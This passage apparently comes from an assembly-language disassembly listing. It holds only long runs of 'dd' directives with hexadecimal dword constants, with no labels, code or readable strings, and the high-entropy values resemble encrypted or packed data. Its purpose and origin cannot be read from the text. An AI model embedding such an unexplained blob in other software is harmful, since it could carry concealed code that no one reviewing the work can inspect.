0A8A8E8D9h, 94F82CE9h, 27C476Ah dd 0D4501BACh, 780C7F70h, 226669E9h, 20B8B8F6h, 5D5E3D81h dd 0E25C2339h, 13940FCh, 4A13FE48h, 0C82186AEh, 0AB2FF009h dd 2D036C3Dh, 70A2D225h, 4FC65573h, 29E06812h, 5EFFD665h dd 0A4EAD2FCh, 0C54A21FAh dd 0EBE334EAh, 0E4B44EACh, 549D0101h, 5E7C2F1Eh, 0DB2DC8E8h dd 7D7F095Dh, 2C78FF72h, 0FED5CB17h, 1285D5B3h, 0FAB72001h dd 7979095Bh, 1C5F351h, 6A06E908h, 0DF48980Eh, 0D25DC214h dd 21EE4216h, 849705EEh, 23240721h, 59CF00EBh, 517FEF27h dd 7503B904h, 41AF2F4Fh, 9718FF59h, 0B6782009h, 3C269C12h dd 0E9464380h, 0BFDF69FBh, 1A48F200h, 0D148017Ah, 3314052Ch dd 40AE7F62h, 1848CC8Ah, 0EA3CC127h, 0ED0CF308h, 32868D6Dh dd 0D4FEEEE9h, 0AE17A04Ch, 6823881Eh, 0D95D7025h, 0EE962E3h dd 660E8176h, 89200E2Dh, 1485A201h, 0D04807C6h, 429D1C25h dd 23D13500h, 0DBE9BB91h, 0E3449D36h, 31F3682Dh, 133F87F3h dd 5D69FBCCh, 41CE1848h, 38132035h, 0CE42E8AAh, 23947E82h dd 243FD17Ch, 2DB9F48Ch, 0A60B5DC6h, 9EB14375h, 15F04C60h dd 0BDDD0230h, 0DBB5FED4h, 0B7E9A048h, 0E9055276h, 38BB2CA1h dd 7BF551C2h, 0DF3114DDh, 0F50A1D7Dh, 3DCB5661h, 0C9185593h dd 65A6E17Ch, 4D4B2B0Ch, 73B94928h, 0CC519592h, 224E7EE6h dd 0EF3B058Ah, 6664F7Eh, 1B10BF09h, 0A4BD214Fh, 0EB0F2C5Ah dd 0D2BF524Dh, 7C2AA08Bh, 73D0FDEFh, 0A0BA251Eh, 0CE89A6F6h dd 6C9AD77Eh, 0C7F67462h, 3389782Fh, 0CA0FF91Eh, 7F682F1h dd 0B753C490h, 0FC28259Bh, 0E688A518h, 25E5E918h, 12A4BD56h dd 8C03EF2Fh, 0DC9DB9A2h, 206125D2h, 9FBD7E05h, 0AD0F551Bh dd 2B1C907Fh, 28BC025Fh, 6C9507EFh, 1F85B609h, 11070B42h dd 0AB3BA7Fh, 0F30B950Ch, 0EB6AD419h, 0E94322DCh, 3820C626h dd 8F8966B9h, 5250495Bh, 93B1EE2h, 8DF1002Ah, 537A365Fh dd 0F805FE9h, 0C2E9669Dh, 0E0A01ED8h, 2BF55593h, 8BE9B904h dd 5F596692h, 5C2D67C5h, 40575A95h, 4C19E95Fh, 1D3C8EDh dd 7835CA13h, 686FF94Ch, 0B3680EE4h, 0A2BB132Ch, 930690A6h dd 5EE926B4h, 684E0531h, 208C9991h, 6E0458BEh, 0F3811D9Ch dd 17C465C1h, 3AEE0C85h, 0EBF3C288h, 671F6ED4h, 0E9657142h dd 82257D5Dh, 17AF9E2Ch, 49C592E9h, 87DF83BFh, 394E8777h dd 145A418Ch, 0BC745D79h, 0CEE03804h, 0A017BB0Ah, 151027ACh dd 895B0FEEh, 509D0BFAh, 1D74B5CEh, 4AD2B4C2h, 6973595Dh dd 6803AD03h, 0BE841EDBh, 17D268EDh, 8BC1EEBAh, 0A86C68E9h dd 0C9EBD11Dh, 98524A91h, 0A936C909h, 0E1E38E03h, 0E9380462h dd 352275D1h, 0A9E7CC9Eh, 91DE5A16h, 12FB6C4Ch, 439D0FBBh dd 5C440999h, 0E10CAD2h, 1378A868h, 28EA9DBEh, 0BA2C4B3Ch dd 5D08400Ah, 689698B5h, 31075ED1h, 7EAD61AAh, 0BF3E8929h dd 2AE94768h, 77812D36h, 0B1D3F454h, 4E664FCCh, 0C304C933h dd 0B2AE8A9Ah, 5BC282h, 2B826852h, 6305D93h, 12830872h dd 0C2ACE963h, 97905EEDh, 44971BABh, 33599709h, 601BE958h dd 72EE874Eh, 0AB4E6732h, 0B15B66ECh, 746F402Ah, 364BF140h dd 0D2C76BB1h, 3E71FFEEh, 0F451E9E1h, 4306723Ah, 1F928B42h dd 77A809FDh, 2002C5FAh, 21BADB30h, 2F7CC1D8h, 0E29908FEh dd 0C2232236h, 2995F99Dh, 82B506Fh, 43750C6Bh, 520C0095h dd 0E969726Dh, 0E09634F8h, 754721E2h, 549D0DF2h, 0CB04F378h dd 0FED117E9h, 135BC2C8h, 0BF03682Ch, 0D5BB021Eh, 0FBCC240Ah dd 0DF5E5DE2h, 29BF72C4h, 4D212B50h, 0E172ED94h, 5117D5D1h dd 0E58AE8DDh, 0E463E2EAh, 1A83A2FBh, 0F76AD0B5h, 2737B2ECh dd 0C1B06270h, 9891D0F7h, 103520E3h, 8E255B76h, 5DAC1416h dd 593B5585h, 0AB315213h, 17A10A2Ch, 111790Fh, 9071333Ah dd 22013F23h, 48A706A8h, 7CD5CDF5h, 18A80FD5h, 0AF492712h dd 0CA162356h, 4EF9A57h, 0AF29C79Eh, 0CB30642Dh, 16579D5Eh dd 60545961h, 1BE5BF00h, 0CF81686Eh, 2263901h, 0D45EE91Fh dd 7F8D283Bh, 25240641h, 56E43868h, 0C3FCB570h, 0E8F5E979h dd 53153F64h, 377DF54Dh, 524E7A4Bh, 9AA4CFF4h, 0CBADBE29h dd 4EAD257Ch, 288C31D1h, 9C7976Eh, 0E8B12AD6h, 830CDB7Eh dd 17E918C1h, 94067BEh, 0C5F45BF9h, 5211B827h, 0EFB80350h dd 485E2C7Ah, 0A5E94088h, 5BC1FC5Dh, 560761ACh, 576EC68h dd 467FC174h, 0EC040403h, 2906C140h, 44045AC6h, 58467F45h dd 90DBF2BEh, 0D4D7B5Fh, 7B1C2F4Ah, 0E93DECD1h, 2BB0A44Bh dd 7E71B505h, 0E99BE9C9h, 0D6D25DDAh, 0CF438F07h, 869290Bh dd 0E9040838h, 8DFFBB2Fh, 981E828Bh, 0F4DD4BF5h, 90D52576h dd 0BD81E91Fh, 6B69C688h, 1735C877h, 62E899CFh, 7D0BEEA9h dd 49773B89h, 70825EE2h, 31254B75h, 13B1E077h, 300290D3h dd 0EDC1D580h, 0B0276137h, 2BEA5770h, 5F86A457h, 5B84D7ECh dd 5AD0032h, 50731715h, 5853896Eh, 0DE209852h, 68CC03B7h dd 38FAE483h, 9894FD59h, 95237D52h, 97035F4Dh, 0DBF412F7h dd 7757DA85h, 517D31A9h, 4057E2BDh, 25F98DDh, 472D3014h dd 3C5A44F6h, 0F5011A1Ah, 34080AF0h, 0FE88E00Bh, 8E716299h dd 0ABD54180h, 510015CFh, 82882B9h, 508DE946h, 5A30C2FDh dd 0C470F2F8h, 9A882DCh, 94B7A8A4h, 44DA0719h, 0BFB22059h dd 1394974h, 4C120D10h, 0D93D7127h, 0CF402739h, 9D07404Dh dd 0FC7BBD13h, 1AEF5034h, 9740AA9Ch, 58815563h, 3C2AF61h dd 95EA66B5h, 24805E77h, 0CE89CFDCh, 98D81D2Bh, 0C30D5D95h dd 64827AB9h, 0DA8E4A0h, 3A2A4829h, 56BA24B4h, 49B2D8ECh dd 0E41E21FFh, 5165ABEh, 0C0AA2EDEh, 0F849F60Fh, 1399D258h dd 42FA5EF1h, 938E209h, 0D95F0A62h, 856805E9h, 11518E0Dh dd 6148D570h, 0E632B300h, 559CF29h, 97583509h, 20A97645h dd 0A7659507h, 76F7FB89h, 11F99572h, 0AEC831C4h, 7C39448Dh dd 8A61D385h, 0C8FB4EE5h, 95EABEh, 61A1B8C2h, 4A97B85Ch dd 5BFEB028h, 0C9C08F96h, 63313F05h, 3420D237h, 0C47EF9AFh dd 2998DA38h, 0A0DD97EAh, 0A0E9C259h, 9B6CBFADh, 4B595722h dd 0BC5FB83Ch, 678C2DE9h, 9B20E3E6h, 70D99029h, 0C11AEE87h dd 7A6B473Ah, 0DDAC3B5Bh, 0BD580840h, 90802AC5h, 0E908B32Dh dd 4015D91h, 7B35FB97h, 2D2A5208h, 0FC0647F8h, 5B0E434Bh dd 0F8D00372h, 0D989FED4h, 0E9CE780Bh, 93F60AEh, 0C55A48D1h dd 3C540C2Dh, 0BB7E55F2h, 7703E941h, 328EC83Fh, 0C50E9DD3h dd 420BC488h, 91FFFB80h, 891F023Ch, 1C9CE9FDh, 0DDCD3EC9h dd 81C57E22h, 5C89D88Ah, 0A07A525Dh, 94854793h, 0C5D7A576h dd 0A7F5258Ch, 5651B83Fh, 8FE817DCh, 0C9219FD9h, 20954C27h dd 2E4A62BFh, 0E602654Ah, 5C28041h, 0AABF0693h, 49E90502h dd 5EB0A2E8h, 278C059h, 0A218F226h, 6878D5B1h, 0F85DE882h dd 92D9C9Fh, 24AC6A54h, 4C4114BCh, 1747AC7Ah, 65AE28F5h dd 0FE701D7h, 3A0AFD34h, 80421B5h, 0E94B41E3h, 603A1009h dd 6C8B2860h, 29341BB1h, 0C5F06CC8h, 58C62501h, 80B4C77Fh dd 0B096851h, 0E8D62845h, 6BC1FC20h, 43B20F40h, 94A95141h dd 8600BEF0h, 885066DEh, 0E8D0F6D8h, 0D858F0C3h, 9A952A19h dd 1290BF80h, 0EC273B19h, 787A7DABh, 0CF881AC6h, 930C2E2Ah dd 0F5D95AD6h, 67D7E201h, 12ED2F90h, 0E83E7375h, 0FBEBF1C0h dd 82CD32Bh, 6812067Eh, 0C18C339Ch, 0F41041B8h, 129C5984h dd 0F6F9B440h, 5DCE4D4h, 0E950B353h, 268ED1Ch, 0E54D4CEEh dd 91D1C00Fh, 6B87B4C5h, 7824E8E7h, 0C97FE20Fh, 0F6107D48h dd 0BFE0952Dh, 1EC4454Bh, 0B65834AFh, 5DE90243h, 0A46CF168h dd 0DBA1238Ch, 5BD9FD2Fh dd 9681228h, 4AFB1A8Dh, 7D23BAD7h, 68179A14h, 2D380ABEh dd 0D7299F05h, 62D9038Bh, 0B308DF2Dh, 897D0882h, 0B1327F2Dh dd 98C4DF5h, 0FA51D4B8h, 9A402928h, 7EF10981h, 32706ED2h dd 0DE5C5973h, 62BCB508h, 845EB95Fh, 65A8D5E9h, 0C3DA5727h dd 71D7F72Fh, 25ABA35Ah, 620152E1h, 4C7B1385h, 409D4A33h dd 147CF85Bh, 0E91B5568h, 10BBDE05h, 0D70DC13Ch, 0A5BF049Ch dd 9E68E89Eh, 0CF8014C2h, 0EF8DC18Ch, 24EADB97h, 0AF3D8450h dd 0F94B42BCh, 77EA8EE8h, 517FCFEFh, 9BDC2FC0h, 0C291B65Eh dd 0CC5741C8h, 57502780h, 0B8013ED1h, 0AEA7AC21h, 0E85E8678h dd 4F2263FEh, 0C7AB0287h, 743B04F8h, 518CDD60h, 0F4A8275Bh dd 6A4CC106h, 393C0C4Bh, 0E9418E75h, 20BED7B2h, 0FEEEA5C9h dd 0CBD7F695h, 6025C8DFh, 0BE20D6C9h, 1EB4191h, 49AA6041h dd 51014426h, 0E934821Ch, 0D1A5511Ah, 2C4BDDE8h, 42A94A5Fh dd 21765627h, 0F7FE0FC9h, 0F1B79DBBh, 3B96DBEh, 0FA596DCAh dd 99F2B076h, 0BB3F5EF4h, 57CC9E58h, 2D119AB5h, 54DB34F1h dd 59F97289h, 77173C7Bh, 4F62ED62h, 5F067849h, 4C58B098h dd 1123D658h, 0B9025CF2h, 7BC25ACFh, 8AAB1DE1h, 8420AF71h dd 8F4D5DC1h, 10D9AC64h, 5454652h, 0E72018Eh, 3D54C901h dd 0FC2EDB7Dh, 602324Eh, 5047005h, 7F5A7309h, 39A0BF5Eh dd 39755C8Fh, 0B30E4E30h, 0DB09EB0Eh, 75642FE9h, 0C40B61E4h dd 9786E43h, 0DAA55FB9h, 0BA3484C1h, 0CDFB48D5h, 0EC9B041Ch dd 39BA4BD4h, 78AA2F7Dh, 0C4BF21A2h, 0E259200Ch, 7EB03790h dd 0A4E60B27h, 5EA46E5Eh, 374E0FEAh, 0E66E40AAh, 0FC8425B6h dd 60128B81h, 17620C8Fh, 0CA4B753h, 0F72BCD75h, 0F5556B09h dd 0DF7389DCh, 7CF09B32h, 8FEB5D4Eh, 80602556h, 0D55B8B0h dd 813B5EEAh, 154A339h, 0CECBD388h, 0B52670B4h, 14AF325Eh dd 32759D5Fh, 4BFC71A6h, 0E2D8F104h, 81099F68h, 80DEDC57h dd 6C1630F8h, 0CF7E0868h, 470F934Bh, 0C1D0583h, 0F7D9A01h dd 0B4416158h, 5F023938h, 0A7BFE7DFh, 0A39B3444h, 76AAC189h dd 0F84965ADh, 34DE480Ah, 0C29110CDh, 0BD4266ACh, 51797D07h dd 34F38103h, 5BECF443h, 0B3BDF04Bh, 0F21C4F61h, 0A8D6E63h dd 0E1E4BDC2h, 86160560h, 62C77A09h, 0C5EE563Ch, 0D6AA2307h dd 96C345B9h, 0A3045434h, 0E1F32062h, 4B47F810h, 66525B8h dd 82F88206h, 2AF3580Bh, 791A257Dh, 95069053h, 8790C819h dd 28F6431h, 4EC6ED83h, 1D24AD9Ah, 299E15EFh, 2041F8EFh dd 0D89D9961h, 0F60BBF4Ah, 0B93F6DFDh, 0D468E79Fh, 90895F74h dd 57AB8D5Ah, 8703C02Ch, 2B0E770Dh, 0E510626Ch, 0B5511E63h dd 0AD1078ACh, 0CD62B61Fh, 2A0E151Fh, 0E0E50EBFh, 84F51D76h dd 0C12850EDh, 7CB92178h, 20AC907Dh, 0C580381Ch, 59E8280Eh dd 0E895FB32h, 5E10BBCh, 88B36FC3h, 0B4CDF912h, 0D441E1Bh dd 7FEA415Dh, 5CE0FAECh, 0F3FB850h, 48681256h, 0D2D609EEh dd 559740D8h, 2C005F33h, 71D9790Eh, 0B18DD05h, 2CE91191h dd 9A5AD724h, 0F766017Bh, 0E216E9E1h, 0EBC0A684h, 4187FA02h dd 0F24AC133h, 20F5C9Ah, 5966EC30h, 68440157h, 0D1111F24h dd 39C710FCh, 0F2C53D59h, 685527B0h, 0BE7C1C49h, 0C5C05E4Fh dd 0F80BBC09h, 8C174AD8h, 53288216h, 1569D8A7h, 0E945773Ch dd 21C16886h, 0FBA64E7Bh, 0BB9529Ch, 265A3FFAh, 0D939768Bh dd 842538C5h, 0BD01DAB8h, 6B885131h, 0D9315DB5h, 5E01EC6Bh dd 0BDBD37C8h, 6FC1BFB9h, 0CBEC103h, 817B885Eh, 7C2C0BE6h dd 0A7804E6Dh, 500514E1h, 174E913h, 9F9B9290h, 0B0CC4E54h dd 5F26517Dh, 3901D259h, 893BA860h, 86899A21h, 0C68128D0h dd 6F6FF3E9h, 0F78E8DB2h, 440650D0h, 64B36B16h, 3B619501h dd 0BA2E5E26h, 547B223h, 0FC44980Eh, 50AFB864h, 42CB3EE4h dd 89E35DBBh, 777662D2h, 0EA078520h, 0FBDF76CDh, 592D13C3h dd 0B6270885h, 685E3500h, 149D1989h, 0E7EBDCAh, 83A3430Fh dd 812F6852h, 0A03A67D7h, 0A1024AD7h, 0F5E90C60h, 0ED400B35h dd 52703368h, 0FE14779Dh, 6065BE02h, 0D6563777h, 6F5E1D53h dd 0BF016485h, 0F6186B8Bh, 40E93367h, 5213B8B2h, 0D8094FB6h dd 0B13D555h, 57B54E04h, 7587EE28h, 0C680FE41h, 0A0D75BE5h dd 0F204E6C0h, 0EB0350CEh, 5E635AC5h, 414092CFh, 3816EA71h dd 0EF4ADA55h, 0E1B40E51h, 4A98EDEAh, 68E18FFCh, 0C55DCAEBh dd 7F93BE7Ah, 5BE3A364h, 0E9121CBDh, 680A80AEh, 9B9765E1h dd 0FED49119h, 83A4B378h, 3513C272h, 2A34A96h, 328DC10h dd 25CEBA52h, 0CA81D8FAh, 0C0051374h, 5395BA19h, 0A2A704ABh dd 0C8DD1C21h, 5737BAC9h, 0EEC9CC9Bh, 17B67B90h, 0E610B349h dd 0C15907AFh, 3C920AE8h, 0C9D668BCh, 44D14CF6h, 8B4E504Ch dd 305B0198h, 1C4B68C3h, 4A585F48h, 42D9C9A4h, 8902B974h dd 10D059E0h, 5E5A7283h, 0D6BC7D8h, 4A479B6Dh, 6FD530E3h dd 2D4EB92Eh, 5F35A880h, 0B0424A31h, 4C1F0B97h, 81837507h dd 6B483F90h, 0F0100B12h, 0BA4251FEh, 40C22D8Bh, 6E780D80h dd 0E9137587h, 0F0BCF0B7h, 0A9659C82h, 0D408D1DCh, 167B243Bh dd 9F0BED55h, 0DCE6A7CBh, 21F8212h, 24F71198h, 4183F30Ch dd 5B0B91FBh, 2AFBF62Bh, 70BDEFB6h, 54871396h, 0EB0D818Ah dd 2071B80Ch, 87FDF501h, 6D63903Fh, 68B7A2F2h, 81DB4D5Ah dd 92EF6658h, 0BB034FFh, 0CCDD99BDh, 0B93EE55Bh, 264F1676h dd 685BAE30h, 0A34A4F44h, 1440120Ch, 5EF218ACh, 25AD0DE1h dd 202C2B20h, 3106417Eh, 0F3A12EA8h, 53DDC83Eh, 0CA86E916h dd 817EE3A6h, 5503F379h, 1285D2C5h, 0F90C052Fh, 0AE83C3EAh dd 8250A3B7h, 6857807Fh, 7607190Fh, 0CB096566h, 0DFA0B049h dd 10B54D66h, 822BCE65h, 385B1760h, 0E60D645Eh, 0A13B0D5Fh dd 9783CBDh, 51D27DE9h, 0DCDE8BC1h, 2F8FC475h, 6A66BA7Fh dd 3049C92Fh, 8A659204h, 7E7C82E0h, 0E92CB2A6h, 5B9709CFh dd 0AEE72E4h, 61B7D85Ch, 1A7D0083h, 0F50167FBh, 8804590h dd 88A80AE9h, 0B0BCD81h, 0D713CE22h, 0BE56F500h, 170B1B0Fh dd 403EE905h, 1E410D56h, 97574C04h, 0FC82959Ch, 6E874060h dd 72D35C03h, 0C8E51B2Dh, 0A8B5E909h, 1883BFF8h, 3E536902h dd 11823C96h, 226895EFh, 6C5FBAA0h, 7738D125h, 54CD7200h dd 1B76E922h, 4810F501h, 0EA0941B5h, 80FCE260h, 0EB4A8759h dd 0F238E3B8h, 9A2DBB4Eh, 2F6EBD7Ah, 0BD7840D5h, 61617CBEh dd 435E683Dh, 5FC0894Fh, 0A5D97979h, 517D96D0h, 0E6B538F2h dd 37653923h, 0FF596A17h, 0BC3B3A99h, 0F1009295h, 45D38627h dd 0C5822EE9h, 2D32403Dh, 0D076759h, 38365E06h, 470E2250h dd 0EC05042Bh, 83D8FDD4h, 0B8E5E92Ch, 83960FA7h, 2E4C5EC0h dd 13B3120Eh, 0E6DC880Dh, 0FBE9094Fh, 6BF9718Fh, 0BCB25F05h dd 0D9EFD694h, 0F4212BDAh, 0FF04C0C1h, 5AB98D93h, 84B1E211h dd 0E5470935h, 0EB098E56h, 0CE82E651h, 0E1281062h, 0D9ECA00h dd 0CC7E1768h, 69099E3Bh, 0FF4B733Eh, 0AC1F0384h, 0EEC10A96h dd 6005A508h, 0DA1EFB59h, 3E168A46h, 86D47DD2h, 9E087299h dd 585A0989h, 43753F8Bh, 0F08CEA67h, 5E90B737h, 6A2D39B7h dd 48E7C70h, 0E9B350E9h, 30107A5h, 65B37F74h, 8F534CCDh dd 1FFD0C24h, 50260B52h, 368D4579h, 0AE2EB8E1h, 0E9C5C833h dd 0A63E1F25h, 78A2FE1h, 77F45D98h, 242066F1h, 0A5156169h dd 434903E1h, 11816DB8h dd 13576C20h, 39EBEB83h, 2B9D21CCh, 0EFE494A8h, 0C824A09Ah dd 0C5D72770h, 2ED180D4h, 9BE91B79h, 17B6E853h, 2CFFD601h dd 0BBDA5B6h, 0BBE7FD84h, 1E30DB0Dh, 61BFE3D7h, 0C3801BF4h dd 579FC30Eh, 0B55150EBh, 0E505C012h, 0C592E906h, 72DAC6E4h dd 0E1EDA06Eh, 9321F2Ch, 5F11C60h, 0AB41C90Bh, 3A878339h dd 0D9C32EC2h, 6399857h, 5FE1ACB4h, 0EB2EB465h, 0B992D298h dd 85C2FCB6h, 12180AE0h, 519AA874h, 0A26E52h, 2FBD55B1h dd 82FA8253h, 3AD86E83h, 0D8785879h, 7CC5AE2Dh, 539C63F7h dd 46617BB2h, 3D1B216Bh, 14EF95DEh, 8092BEE7h, 428B6C0Ah dd 0E94C9F55h, 0B070CD20h, 1019271Ah, 9F982C51h, 0B85051A3h dd 681E40DDh, 0EE32032Ah, 0ED923D32h, 6E29FFEDh, 4162D451h dd 9BAAAC9Eh, 0E1FC63DFh, 7A7BF589h, 0BC3A5E81h, 0C8CB3D2Bh dd 4EFE2FD5h, 0FD392F95h, 5AB5D85Ah, 8000B56Bh, 18E95908h dd 684D8161h, 4D7C2ACBh, 632691C0h, 49BF5A13h, 0F27B2A45h dd 2EEE4E91h, 8CF450DFh, 1F9C954h, 0FDC8C760h, 211BB5Fh dd 0E972BD5Dh, 1FCA1A78h, 0EF5478ABh, 55A57B26h, 316BB64Ch dd 0ABC6217h, 0E1224608h, 0B6259C98h, 705EDC79h, 2C5F685Dh dd 3914EEB6h, 291AFB41h, 5677A4DAh, 6B0B3C66h, 9A502A85h dd 537940B7h, 0E9330CE4h, 296EDDFFh, 121BCCD6h, 7569DF14h dd 2665F9D9h, 614B5AECh, 61498E03h, 8BF0209Dh, 2AFD5C13h dd 0DCD2D201h, 0C9D388Dh, 1B14042Fh, 4AACAD01h, 94E3C285h dd 4143051Fh, 0E801777Dh, 0E907412Dh, 68872447h, 461A0825h dd 26B27FA0h, 8F97DECBh, 590507E8h, 0AB85F419h, 4C0A4438h dd 19E6D056h, 6C238898h, 97B2B83Eh, 0BAD225F8h, 5DBA4AA4h dd 0B84F2D56h, 154593A7h, 8A92EA12h, 0B091C1E5h, 0CAC7432Fh dd 0AE7C62C4h, 57F1D22Dh, 0AB727DB8h, 680536BBh, 0FDE776B7h dd 5BDBF210h, 43C98CADh, 0D6B94BA0h, 0E048AF87h, 2B4C01FAh dd 0F1012898h, 0B02FFF71h, 477F7473h, 381FF70Fh, 0B3029252h dd 7F8237E1h, 0EBA40583h, 0F978C76Bh, 6BF28A73h, 16FD40A5h dd 6AF6531Dh, 3EE34E5Bh, 0B1A3FC79h, 3EF5ED39h, 0AC14C877h dd 0EF895703h, 7857F892h, 95C1821Ah, 97126CBh, 14FDFEE3h dd 0A6EE8033h, 6E668103h, 9C6D4CC3h, 3680EE16h, 4B205B4Ah dd 67C044CCh, 0D264EB05h, 0C3F6F2AFh, 16085568h, 43AE6981h dd 0D9F7CDE5h, 0C5810800h, 32564362h, 135AB0C1h, 8C60C068h dd 0D441A886h, 0E516803Ah, 6A5AB78Eh, 0EB6800EFh, 675047F0h dd 770C4BB8h, 0C027F41h, 656A101Dh, 936B1230h, 0F18305ABh dd 0C456B5h, 0BD184336h, 0C37E298Fh, 90833A25h, 0B08E8AFh dd 892A2F35h, 0DBC1AAE2h, 93CB28EDh, 0BA137E21h, 82F55202h dd 30DC8Ch, 4FB1055Fh, 134A105h, 7042DD0h, 0D0D4F7E9h dd 37B61AC1h, 2F94792Ch, 1E57510h, 0DD2EA3BDh, 0D9CEF75Dh dd 0F504BB00h, 0C0541FABh, 3656ED50h, 246CF030h, 40CA58A3h dd 0A90BC816h, 0D70575BDh, 2CA85FE3h, 5126982Ah, 7201929h dd 0A1F978C5h, 782D5DBEh, 875BFA1Dh, 6F28C5EAh, 10B9C26Eh dd 9F987F17h, 97BD6836h, 4EDD0089h, 565B2BD8h, 27E0BE00h dd 32E97111h, 0F23954Bh, 33031FECh, 4F6CEDF3h, 0BC91D84Eh dd 42FE96FEh, 1A550A5Eh, 4FC35FEDh, 0DD90E3D4h, 0B01D3D1Bh dd 67071493h, 1DB0C2Eh, 0F4410EEFh, 6B16B5C9h, 0DE0E783Dh dd 0FBF837FEh, 2D8704B4h, 1D0413D7h, 31EF4B51h, 42AA3B4h dd 0A0F284BAh, 0A0400B3Ah, 437A02BFh, 0EF814909h, 0E97822DDh dd 1B9DC0Ch, 0FC3D5EB9h, 0B233818h, 0AC34Ch, 0A10CC805h dd 9F46985Dh, 0E4476500h, 0F9B72DD7h, 0EE51C412h, 9E70AA01h dd 0B47A3103h, 0A2C85DD3h, 925D2D5Ch, 0B815572h, 70D997C0h dd 44BD8AE6h, 0E85A5A91h, 45C48FAh, 64A740Dh, 9496E8AAh dd 4CB002BFh, 63564938h, 7199926Ah, 0AF4EBDC5h, 0CE30A83Dh dd 0B46E40ABh, 0E3085C1Eh, 1A8C456h, 8112B65Fh, 0FFA2EAE9h dd 4723342Ah, 0CFE5B1F6h, 0C42DBBB2h, 0E1DFB26Ah, 182843A0h dd 0D122E94h, 0E72AA26h, 962EDD09h, 6FDF8A3Fh, 3BBC09EBh dd 0B000558Bh, 160E2984h, 7BE5E690h, 0D8FF5812h, 1B4FF904h dd 5F5EC141h, 0F5EC2760h, 0B510956Fh, 7BEB4A79h, 0AEF869B1h dd 1E38FDF2h, 2B08ABB1h, 0ED84C5C9h, 0A2624868h, 0C301C59Dh dd 0BA4ABCE3h, 880894DDh, 30FC41AEh, 8B0BCF7Dh, 0E111718h dd 0BF59C583h, 0B8AA32C4h, 0D668C487h, 1E535BAh, 717D268h dd 0DFC0777h, 0F0BD25E9h, 66E6D5A2h, 4B41C657h, 0EB29841Dh dd 0E19692A9h, 753D3BAAh, 5D80C074h, 17C50AE7h, 0FC21985Ah dd 7925C7BEh, 45566981h, 5569F75Bh, 0E9E284F1h, 3259D0EBh dd 0A7217BDh, 672F0276h, 8BDBAC8Dh, 0A3E2DDE9h, 0FE8F165Dh dd 8E8BAAE2h, 0D192A923h, 0B44388C1h, 99AA5D16h, 90AB7CD2h dd 55500B96h, 1FB1D352h, 67C80C0Ah, 0E0BEEE4h, 479447Eh dd 0CEFEF1FBh, 0EE2D7D8Fh, 5974B04Fh, 0A948BFD2h, 0FE4FB84Eh dd 0DD47DCBAh, 9D0B785Dh, 3532C8A0h, 2B59BD80h, 5F095AF0h dd 30D112EAh, 20BBC24Eh, 89B3212Fh, 2E1C553Dh, 0DA31D4B5h dd 2A4BC341h, 0CE07966h, 523714C9h, 28060C32h, 0F9290D46h dd 5F08814Eh, 77CF56Fh, 0D50E7417h, 0C3F5C280h, 0ED8F9B7Dh dd 56319349h, 0F8094241h, 0A2046E5Fh, 3F58FD2Eh, 10B4E913h dd 0BF0738BAh, 0E247030Fh, 0EE7C038h, 5C3EBB75h, 404F63E9h dd 5C083182h, 356FBE5Dh, 73AD330Bh, 0F915E90Dh, 88FBDD2Ah dd 1FE53B2h, 40252FBAh, 3F26200Bh, 0B159F582h, 5054C693h dd 78EA1645h, 7420B129h, 6351610h, 0B0A20F50h, 606852A7h dd 0E3E46E1h, 0C1835E19h, 0C342D188h, 6D917720h, 524AEAC8h dd 637CD80Bh, 7A02742Fh, 0EB60DC57h, 4E45E47Dh, 5291C6Ch dd 16D804F0h, 1EFDFCC4h, 0B94378B5h, 0A72CE828h, 88AF59A5h dd 49002527h, 2D104B6Dh, 7517760Ah, 1E6EB173h, 0A4A7C040h dd 0C6895EA1h, 0BDB8659Dh, 0EE2D79C8h, 1B68A275h, 6D98F77Ah dd 0DD82B14Ah, 6C60A9F1h, 0B5390B02h, 81038D72h, 0AD3860CDh dd 0E9100A46h, 81BC365Ch, 0FD42BBCEh, 1D380021h, 0AD0F54CDh dd 4DA4F9Ah, 49361965h, 0A89FF314h, 0D32909AFh, 0F17F535Ah dd 547CE95Fh, 0E80291A8h, 0E90D2F14h, 4A6CD0D0h, 6B57F15Fh dd 257FCD8Fh, 94DB2F72h, 2E26E941h, 58A7B77Fh, 0A4E61FADh dd 29F9125h, 26C6F909h, 0A58A2FB2h, 0E0AEEF87h, 0CF48293Fh dd 0DC3825A4h, 64BFE2D3h, 625DCBEAh, 35AFF516h, 0AC2E7BA4h dd 486BC4FFh, 7D0459A2h, 0BA22FB35h, 712D284h, 31CC91E2h dd 69C127A4h, 9251ED25h, 4EE4DA30h, 0AE65FAEAh, 1EE84012h dd 1DA04A2Eh, 123F5CFBh, 0E6E3EA01h, 0A89CE916h, 29AA4F30h dd 7C8FFDE7h, 0CF0570A9h, 596EEF80h, 681EC0EBh, 0FFC51BA2h dd 9E37D5F2h, 0FF5C3AD2h, 0A6A0E165h, 0A8703D17h, 32CD14EAh dd 1E73EA09h, 8200E5FEh, 496E721Dh, 0A00849E9h, 0B505212h dd 9F5AFB2h, 1F82DF54h, 58D72039h, 0FF5B2702h, 0C9C18913h dd 0F71087EFh, 6B1B40D8h, 5B1EA1Dh, 0E591FB5Eh, 0F248A155h dd 124712E1h, 2EFFE029h, 0F393D713h, 0C992FCB2h, 7D5E2BA0h dd 0F1B50249h, 25902F6Dh, 501709BEh, 6CBC3533h, 5FC66B0Bh dd 0CB01FDD1h, 297CFB95h, 0BB67577Eh, 0CB0F484h, 421641FFh dd 0B1F0545Dh, 0EBAE5A67h, 5360676Eh, 23E9B2D4h, 0F0FC8A6Bh dd 2490B43Dh, 8158D8AAh dd 4CF4ED02h, 580155F9h, 5B0880ECh, 0E089FF83h, 0C5D133C1h dd 10539F8Fh, 0C362317Eh, 0C8D48856h, 503B58E5h, 12EAB452h dd 9A1077FDh, 36EB002Ch, 52455355h, 2E320E33h, 73C6C64h dd 32564441h, 0D984950h, 4CFC544Eh, 780A54E3h, 60041C01h dd 25E97836h, 0D68FBE0h, 64A959Fh, 81DA04C0h, 0BF96105Ch dd 11114215h, 88B2197h, 8190983Fh, 7744D188h, 1299D021h dd 9A2D106Dh, 94106389h, 760F12EDh, 39D981Ah, 0F8011CA3h dd 0B28F37h, 3B3EBAD6h, 655D3A59h, 0B8D8D900h, 2D4F5AECh dd 0F5F40071h, 7D78FB97h, 3100441Fh, 6EC81B5Dh, 17A97Ch dd 0BD0B808Ch, 85B6FB74h, 0ACA03600h, 35D7E004h, 81CC00A2h dd 0A57C6C54h, 0CDFE3EDAh, 560E46EEh, 7250FAC5h, 0FE0D01FFh dd 0FC77095Bh, 0DB0358C8h, 3D7A76DCh, 9537804Ch, 